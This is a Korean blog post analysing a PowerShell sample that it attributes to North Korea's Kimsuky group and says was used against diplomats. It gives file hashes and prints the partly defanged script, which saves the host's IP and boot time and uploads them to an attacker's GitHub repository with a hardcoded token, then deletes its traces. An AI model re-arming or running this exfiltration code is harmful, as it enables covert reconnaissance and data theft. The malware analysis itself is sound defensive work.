북한 김수키(Kimsuky)에서 만든 악성코드-open-pm-kk.txt

오늘도 즐겁게 신나게 북한 김수키(Kimsuky) 에서 만든 악성코드인 open-pm-kk.txt에 대해서 알아보겠습니다. 해당 악성코드는 외교관을 공격할 때 생성된 악성코드 중 하나입니다.
파일명:open-pm-kk.txt
사이즈:1 MB
MD5:5ed8fd26d4e594d200c816a8b77fe7cf
SHA-1:b587dc6c7fb233401e2e84df6e6981e481726a20
SHA-256:294743e312a79f5f0cc1aec31da4b9e466df40c26cf4b96fd5d538dfa294860b

open pmkk

PowerShell 스크립트

$ipAddress = (Get-WmiObject Win32_N???????apterConfiguration | Where-Object { $_.IPAddress -ne $null }).IPAddress[0]
$currentTime = Get-Date -Format "MMdd_HHmm"
$fileName = "$ip???dress-$currentTime-XXX-kkk.txt"

$srcPath = Join-Path $env:appdata $fileName

(Get-CimInstance Win32_O????ratingSystem).LastBootUpTime | Out-File -FilePath $srcPath

$localFilePath = $srcPath

$apiUrl = "hxxps://a" (+) "pi(.)g" (+) "ith" (+) "ub(.)com/re" + "pos/landjhon/world/con(t)ents/tony/" + $fil(e0Name
$githubToken = "ghp_et??nYwFJ8????3ObsBQFtdF9goRSpC91Bc68k"

$ttttpp = $env:APPDATA
$fileContent = Get-Conte(n)t -Path $localFilePath -Encoding Byte
$fileContentBase64 = [Co??e(r0t]::ToBase64String($fileContent)

$body = @{
    message = "Uplo(a)d file $fileName"
    content = $fileCo(n)tentBase64
    branch = "main"
}
$headers = @{
    "Authorization" = "token $githubToken"
    "Content-Type" = "applicati(o)n/json"
}


$response = Invoke-Rest???hod -Uri $apiUrl -Method Put -B(o)dy ($body | ConvertTo-Json) -Headers $headers

Remove-Item -Path $srcPath -Force;

악성코드 분석

1. 네트워크 어댑터에서 IP를 가져와 파일명으로 사용:
Get-WmiObject Win32_NetworkAdapterConfiguration????:첫 번째 IP(IPv6 혹은 IPv4 환경에 따라짐)
2. 현재 시간(포맷 MMdd_HHmm)을 받아 파일명 생성: (IP)-(timestamp)-XXX-kkk.txt
3. 파일 경로: %APPDATA%\(file)
4.Get-CimInstance Win32_OperatingSystem).LastBootUpTime 값을 파일에 저장
5.업로드 URL을 문자열 분할 및 결합 난독화:hxxps://api(.)github(.)com/repos/landjhon/world/contents/tony/(file)
6. 파일을 바이트로 읽어 Base64 인코딩->GitHub Contents API 요구 사항에 맞춰 JSON body 생성
7.Authorization: token (PAT) 헤더를 사용하여 Invoke-RestMethod -Method Put 로 업로드
8.업로드 후 로컬 파일을 Remove-Item으로 삭제
데이터 유출 목적 식별자 포함된 파일을 외부 에 업로드 하고 로컬 흔적을 삭제
문자열 분할 난독화
무응답/무로그
요약
로컬 호스트의 식별자(파일명에 IP 포함)와 시스템 부팅 시간(LastBootUpTime)을 %APPDATA%에 임시 파일로 저장하고 GitHub Contents API를 통해 특정 리포지토리(landjhon/world->tony/)에 업로드 하고 로컬 파일을 삭제
업로드에 사용된 GitHub 개인 액세스 토큰(PAT)이 스크립트에 평문으로 하드코딩 목적 데이터 탈취
결론 최근에서 GitHub 를 사용을 하는 것이 유행인 것 같습니다.